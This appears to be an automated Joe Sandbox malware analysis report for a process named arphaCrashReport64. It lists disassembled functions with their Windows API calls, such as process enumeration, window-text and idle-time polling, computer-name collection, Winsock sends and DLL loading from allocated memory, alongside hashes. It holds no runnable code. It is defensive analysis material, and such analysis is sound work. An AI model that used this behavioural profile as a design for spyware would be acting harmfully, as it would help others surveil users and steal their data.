Part of subcall function 00007FFD94471EA8: GetLastError.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471ED0

_lock.LIBCMT ref: 00007FFD944750B3
free.LIBCMT ref: 00007FFD94475163
free.LIBCMT ref: 00007FFD94475193
_errno.LIBCMT ref: 00007FFD94475198

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 2878544890-0
Opcode ID: e7b31d940b5e61bc55c6da1b419915fdda316d163dca5b5054fd05ae409f7391
Instruction ID: 8dfd5818afb76b539b716b03be06618a7a45b5d122211ef8a86a0299b51c3581
Opcode Fuzzy Hash: e7b31d940b5e61bc55c6da1b419915fdda316d163dca5b5054fd05ae409f7391
Instruction Fuzzy Hash: E051C132F0868286E7789BA494A0279B691FB82799F14C635D65E4779FCFBCE403C700

Function 00000210AE4D30BC Relevance: 9.1, APIs: 6, Instructions: 63threadCOMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4D30E7
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D30F2
_getptd.LIBCMT ref: 00000210AE4D3118
CreateThread.KERNELBASE ref: 00000210AE4D316D
GetLastError.KERNEL32 ref: 00000210AE4D3178
free.LIBCMT ref: 00000210AE4D3183

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CreateErrorLastThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 3283625137-0
Opcode ID: 682c3161d626f3e06a97a55f13333c3dfc29333ffe79b4f3941292e52bca3446
Instruction ID: b2a3881101695bc6f12b0bd1607a94602fe462eb940cdba0c769e57280f08773
Opcode Fuzzy Hash: 682c3161d626f3e06a97a55f13333c3dfc29333ffe79b4f3941292e52bca3446
Instruction Fuzzy Hash: B021B63120478086EA14DBA5ACC93DDB398BF64BD0F644625AFE9037D6CFB8D0908700

Function 00007FFD94471390 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FFD944713A0
LoadLibraryA.KERNELBASE ref: 00007FFD944713B4

Strings

Advapi32.dll, xrefs: 00007FFD944713A6
Kernel32.dll, xrefs: 00007FFD94471399

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: Advapi32.dll$Kernel32.dll
API String ID: 4133054770-3188642331
Opcode ID: 418ce45b5ec06e1b2862c4412dc0c3816f81b2d1ecedce3597085fe4abdcdff0
Instruction ID: 6a016791a46bb372b3fe2eb3613507f77aeb564c6e628778bf3313b0f890c0f8
Opcode Fuzzy Hash: 418ce45b5ec06e1b2862c4412dc0c3816f81b2d1ecedce3597085fe4abdcdff0
Instruction Fuzzy Hash: 0CE04C34F09A8781FA609F81E8F416822A5FB57305F90C532C14D433AAEEBDA55AC300

Function 00007FFD94474D58 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFD94474CC8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,00007FFD9447500A,?,?,?,?,?,00007FFD944751DF), ref: 00007FFD94474CF2

IsValidCodePage.KERNEL32(?,?,?,00000000,00000000,00000000,?,00007FFD94475050,?,?,?,?,?,00007FFD944751DF), ref: 00007FFD94474DDB
GetCPInfo.KERNEL32(?,?,?,00000000,00000000,00000000,?,00007FFD94475050,?,?,?,?,?,00007FFD944751DF), ref: 00007FFD94474DF0

Strings

ExW, xrefs: 00007FFD94474E20

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: ExW
API String ID: 546120528-2616828304
Opcode ID: 9ec4cdaa8fe45a7dc26e4c49f13c391a527cd7fe7a4114bc5d8f532e0099a1ca
Instruction ID: 7177e9630f1df972a43e6046b518aba21c88da005b78dd29fc6c1cfda2c6bd6f
Opcode Fuzzy Hash: 9ec4cdaa8fe45a7dc26e4c49f13c391a527cd7fe7a4114bc5d8f532e0099a1ca
Instruction Fuzzy Hash: 9871F2B2B0C28246FB748BA495F017D6691AB42754F44C036D78E476CBDEBCE946C380

Function 00000210AE4CED81 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D3290: malloc.LIBCMT ref: 00000210AE4D32AA

GetLastInputInfo.USER32 ref: 00000210AE4CEDCA
GetTickCount.KERNEL32 ref: 00000210AE4CEDD0
GetForegroundWindow.USER32 ref: 00000210AE4CEDFE

Part of subcall function 00000210AE4C2F20: IsWindow.USER32 ref: 00000210AE4C2F37
Part of subcall function 00000210AE4C2F20: GetWindowThreadProcessId.USER32 ref: 00000210AE4C2F63
Part of subcall function 00000210AE4C2F20: GetCurrentProcessId.KERNEL32 ref: 00000210AE4C2F6B
Part of subcall function 00000210AE4C2F20: GetCurrentThreadId.KERNEL32 ref: 00000210AE4C2F77
Part of subcall function 00000210AE4C2F20: GetWindowTextA.USER32 ref: 00000210AE4C2F8D

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: 44b1e6e62a3808914b2990803f0d3b32f4d0b914e85da03f9fa56ac4a72c0795
Instruction ID: 805ae9dd484a8e976d61ebf17374a7a321b751c729d6bd9ef3964d4f1d772a6f
Opcode Fuzzy Hash: 44b1e6e62a3808914b2990803f0d3b32f4d0b914e85da03f9fa56ac4a72c0795
Instruction Fuzzy Hash: 5C11CA3261574086DF44DF36B8C83A96664EBD9B80F589425EBC647B8ADFBCC5C4C740

Function 00000210AE4C3080 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Process32First.KERNEL32 ref: 00000210AE4C30A0
FindCloseChangeNotification.KERNELBASE ref: 00000210AE4C3144

Part of subcall function 00000210AE4D34EC: _errno.LIBCMT ref: 00000210AE4D34FE
Part of subcall function 00000210AE4D34EC: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D3509

Process32Next.KERNEL32 ref: 00000210AE4C311E

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Process32$ChangeCloseFindFirstNextNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 1362859326-0
Opcode ID: 38c2abb4abafc69136a7456c2adf4735da2ec9da11d856ab3c788e6b6e9f4e49
Instruction ID: 30a7eb00dc409431cfcc1131eeabc2a70821e91de82755515a90558a24984280
Opcode Fuzzy Hash: 38c2abb4abafc69136a7456c2adf4735da2ec9da11d856ab3c788e6b6e9f4e49
Instruction Fuzzy Hash: 72114536314B4081E7119B12A8443DBB7A8FB58FE4F644211DF9943799CE78C484C704

Function 00000210AE4CE907 Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D3290: malloc.LIBCMT ref: 00000210AE4D32AA

GetLastInputInfo.USER32 ref: 00000210AE4CEDCA
GetTickCount.KERNEL32 ref: 00000210AE4CEDD0
GetForegroundWindow.USER32 ref: 00000210AE4CEDFE

Part of subcall function 00000210AE4C2F20: IsWindow.USER32 ref: 00000210AE4C2F37
Part of subcall function 00000210AE4C2F20: GetWindowThreadProcessId.USER32 ref: 00000210AE4C2F63
Part of subcall function 00000210AE4C2F20: GetCurrentProcessId.KERNEL32 ref: 00000210AE4C2F6B
Part of subcall function 00000210AE4C2F20: GetCurrentThreadId.KERNEL32 ref: 00000210AE4C2F77
Part of subcall function 00000210AE4C2F20: GetWindowTextA.USER32 ref: 00000210AE4C2F8D

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: 53f4fb6f92e301a670ffe44a7bcae88315d6365779e7b2565db4d3ad9d44070f
Instruction ID: 5b6f7edcdd6a6aeb648cb39310828925f1ae34db37a1a66688f74e4778e6b801
Opcode Fuzzy Hash: 53f4fb6f92e301a670ffe44a7bcae88315d6365779e7b2565db4d3ad9d44070f
Instruction Fuzzy Hash: 8211823261174086EB44DF66B8C83A96365EB99B84F289424EF8A47B89DFB8C5D4C740

Function 00000210AE4D83F4 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00000210AE4D840A
GetVersion.KERNEL32 ref: 00000210AE4D841C
HeapSetInformation.KERNEL32 ref: 00000210AE4D843A

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction ID: 4875f52368480cdb68b3f991bb745eb94aa6a5bf3de68f9e5353f6dcd3a6bcdc
Opcode Fuzzy Hash: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction Fuzzy Hash: 89E06D34211B8082FFD55B25A8CD7E92258FFAC344FA40414EB8A02794DFBC84C68601

Function 00007FFD9447497C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FFD944749AB

Strings

, xrefs: 00007FFD944749D4

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: a25030c6f73ece0fe48594fa4548755820865811698b87b855136faf09de3d18
Instruction ID: 63d8310c94c94962209261ac6684c7bcf0150548d4775cda81a813adc2bc3eb0
Opcode Fuzzy Hash: a25030c6f73ece0fe48594fa4548755820865811698b87b855136faf09de3d18
Instruction Fuzzy Hash: 21518072A1C2C186E731CF64E0903AEBBA0F74A744F54C235DB8943A8ADBBDD446CB40

Function 00000210AE4C2900 Relevance: 3.1, APIs: 2, Instructions: 65networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00000210AE4C2960
send.WS2_32 ref: 00000210AE4C299F

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: a7a69a6c44eae31ac87e71d4d49eb2ed0d436db1612ea634298a4d147ca241f4
Instruction ID: 22b1478c36479239d8e735829a3cd34e996f617752f457a16610e4df9026ed10
Opcode Fuzzy Hash: a7a69a6c44eae31ac87e71d4d49eb2ed0d436db1612ea634298a4d147ca241f4
Instruction Fuzzy Hash: 2E21F632701B8141E7305B1AA8897AA6698FFD9BD0F741635DF9843B91EEF4C4C28305

Function 00000210AE4C3430 Relevance: 3.1, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32 ref: 00000210AE4C346F
GetComputerNameA.KERNEL32 ref: 00000210AE4C34C5

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerCurrentNameProfile
String ID:
API String ID: 3082751485-0
Opcode ID: e2a9adb5299dfcb7f963bcc1a221c1a79a9d13bacd767ea76fef39f5dd3caca1
Instruction ID: 3d8c0683dbd58c114bac2d87ce744625f42ea0ecb42cbc84cba697ac38a7f9fa
Opcode Fuzzy Hash: e2a9adb5299dfcb7f963bcc1a221c1a79a9d13bacd767ea76fef39f5dd3caca1
Instruction Fuzzy Hash: 8C214A322187C085EB70CF24E4943DAB7A2FB98764F505316EBA943AD9DB7CC149CB11

Function 00007FFD944751F0 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FFD94475213

Part of subcall function 00007FFD94472464: DecodePointer.KERNEL32 ref: 00007FFD9447248B

RtlAllocateHeap.NTDLL(?,?,?,?,00000000,00007FFD94472D03,?,?,?,00007FFD944729F3,?,?,?,00007FFD9447253D), ref: 00007FFD9447525C

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateDecodeHeapPointer_errno
String ID:
API String ID: 15861996-0
Opcode ID: bb8eed43e8797b31d408fed5b93d30ae15ba08089fb6024745d6490033012783
Instruction ID: 876373e9c5acc88a197160badc395bd22a6aeb7c590ce48eaab58a61b362af1e
Opcode Fuzzy Hash: bb8eed43e8797b31d408fed5b93d30ae15ba08089fb6024745d6490033012783
Instruction Fuzzy Hash: C9116631B0D14245FF695B95A6A5375A3916F46794F48C630CB1D0BACEDEBC9402CA00

Function 00000210AE4C19A0 Relevance: 3.1, APIs: 2, Instructions: 51networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00000210AE4C1A19
CreateEventA.KERNEL32 ref: 00000210AE4C1A2A

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CreateEventStartup
String ID:
API String ID: 1546077022-0
Opcode ID: 2818f70f87d22685dae2d894ab73b2053dca43e1e2db7108a8644fd358597901
Instruction ID: dfcd98cf90c4df1408a7fa17abee372983859f786b87ef15afd43ba2f3cbe9e7
Opcode Fuzzy Hash: 2818f70f87d22685dae2d894ab73b2053dca43e1e2db7108a8644fd358597901
Instruction Fuzzy Hash: 1B210C32201B8086D7508F19F9953D9B3E9FB68B58F24422ACB9847BA4DF76C0A6C740

Function 00007FF647D5A05C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF647D55D36), ref: 00007FF647D5A070
FreeEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF647D55D36), ref: 00007FF647D5A0DD

Memory Dump Source

Source File: 00000005.00000002.3990661643.00007FF647D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF647D40000, based on PE: true

Associated: 00000005.00000002.3990636126.00007FF647D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990688649.00007FF647D62000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990714262.00007FF647D72000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990736221.00007FF647D75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff647d40000_arphaCrashReport64.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 4a6b7c83f78fcfb150288845f879782ad8682377ecad36b84ee7db7c65b856ba
Instruction ID: 8a0771827d0851507aeb87f77148e4d24656a29d2b4d2b39c58c6fc8cd8de750
Opcode Fuzzy Hash: 4a6b7c83f78fcfb150288845f879782ad8682377ecad36b84ee7db7c65b856ba
Instruction Fuzzy Hash: EA016112E6D652CAEA65BF2979040AA6660EF44BE0F4C8734EA6D577C9DE2CE5408340

Function 00007FFD94473B20 Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(?,?,?,?,00007FFD944718F5), ref: 00007FFD94473B32
HeapSetInformation.KERNEL32 ref: 00007FFD94473B5C

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: Heap$CreateInformation
String ID:
API String ID: 1774340351-0
Opcode ID: 308323cf0e965bc60dd3766130036a00e0fb6afe90f427625239b759be2b3a8c
Instruction ID: e651b43a363218503b5cdc6897fffb7ac74de57b4ab1c8ed96f31e284fed834b
Opcode Fuzzy Hash: 308323cf0e965bc60dd3766130036a00e0fb6afe90f427625239b759be2b3a8c
Instruction Fuzzy Hash: CCE08075F1574182F7589F55E4557656250FF49341F40D039E94D03759DF7CD146CB00

Function 00000210AE4C1370 Relevance: 2.6, APIs: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000210AE4C13E1
VirtualFree.KERNELBASE ref: 00000210AE4C1415

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ec9b96369609cc7b76882b531fbdd83dd41e6b39cdc7d89fc169277994d9546c
Instruction ID: a31451a0d3093f33ce534a3c4c0a174a4264a57c7870de0dfd2435a874114364
Opcode Fuzzy Hash: ec9b96369609cc7b76882b531fbdd83dd41e6b39cdc7d89fc169277994d9546c
Instruction Fuzzy Hash: 1521DA32714B4087E744CB2EE58435D73B5FB98B84F248121E78993B18EF74D8D28B40

Function 00000210AE4C12B0 Relevance: 2.6, APIs: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000210AE4C1303
VirtualFree.KERNEL32 ref: 00000210AE4C133C

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 90bdbeb053a759dfb6172123d893b3ef7054f36a6b9beffb9720844b7b812231
Instruction ID: ba9e465de43d949bc570c7a926abb894c2ccc8e5fa2de800b7e51ff073f11a83
Opcode Fuzzy Hash: 90bdbeb053a759dfb6172123d893b3ef7054f36a6b9beffb9720844b7b812231
Instruction Fuzzy Hash: 5D11B931711B8086E758CF35A584699B3A9FB94BC4F388125DB8693758EF78C8D2CB40

Function 00007FFD94472C64 Relevance: 2.5, APIs: 2, Instructions: 30sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FFD94472C83

Part of subcall function 00007FFD94471D34: _FF_MSGBANNER.LIBCMT ref: 00007FFD94471D64
Part of subcall function 00007FFD94471D34: RtlAllocateHeap.NTDLL(?,?,00000000,00007FFD94472C88,?,?,00000000,00007FFD944743D5,?,?,?,00007FFD9447447F), ref: 00007FFD94471D89
Part of subcall function 00007FFD94471D34: _errno.LIBCMT ref: 00007FFD94471DAD
Part of subcall function 00007FFD94471D34: _errno.LIBCMT ref: 00007FFD94471DB8

Sleep.KERNEL32(?,?,00000000,00007FFD944743D5,?,?,?,00007FFD9447447F), ref: 00007FFD94472C9A

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$AllocateHeapSleepmalloc
String ID:
API String ID: 4275769124-0
Opcode ID: 2024ef6d46135b65a82486e01a40526ee360ed3e040809e9ef4306df607f230c
Instruction ID: 709ec47de83978fedf2c8b47039227f5709cb4edb0d72d2c9756856cf4391645
Opcode Fuzzy Hash: 2024ef6d46135b65a82486e01a40526ee360ed3e040809e9ef4306df607f230c
Instruction Fuzzy Hash: 7AF0FC36B0978686EA209F51A4D003D77A0FB95B90F54C234EA5D0375ACF7CE853C740

Function 00000210AC6E0BA8 Relevance: 1.6, APIs: 1, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL ref: 00000210AC6E0C12

Memory Dump Source

Source File: 00000005.00000002.3989977910.00000210AC6E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 00000210AC6E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ac6e0000_arphaCrashReport64.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 69111f15a2d0270f3eeecba9dc460e45d4b585d133afc9cc5827b8d965684d0d
Instruction ID: 269eeb6dc57fb3398f896dc4bed74c4598b1fd1a2b9cba4741a02598dd3a13d9
Opcode Fuzzy Hash: 69111f15a2d0270f3eeecba9dc460e45d4b585d133afc9cc5827b8d965684d0d
Instruction Fuzzy Hash: 5221F33451EB881FE782E3B8868A6DABBD2EFAC210F15849F9446C7267D864D846C341

Function 00000210AC6E0BED Relevance: 1.6, APIs: 1, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL ref: 00000210AC6E0C12

Memory Dump Source

Source File: 00000005.00000002.3989977910.00000210AC6E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 00000210AC6E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ac6e0000_arphaCrashReport64.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 47237f35a7d7fc4a1514b19f5afff082ff5af56ddef17f6a5fd0dd2c4143e39f
Instruction ID: c8dc630ad8c3a343314fc2fbf740fc5c5e2597de9d98f369070a52607690e009
Opcode Fuzzy Hash: 47237f35a7d7fc4a1514b19f5afff082ff5af56ddef17f6a5fd0dd2c4143e39f
Instruction Fuzzy Hash: C801D434618A0C4FEB80E7B986896DEB2D2FFEC301F51842B540AC325AEC70D941D741

Function 00007FFD94472CD0 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFD944751F0: _errno.LIBCMT ref: 00007FFD94475213

Sleep.KERNEL32(?,?,?,00007FFD944729F3,?,?,?,00007FFD9447253D,?,?,?,?,00007FFD94471ECD), ref: 00007FFD94472D15

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
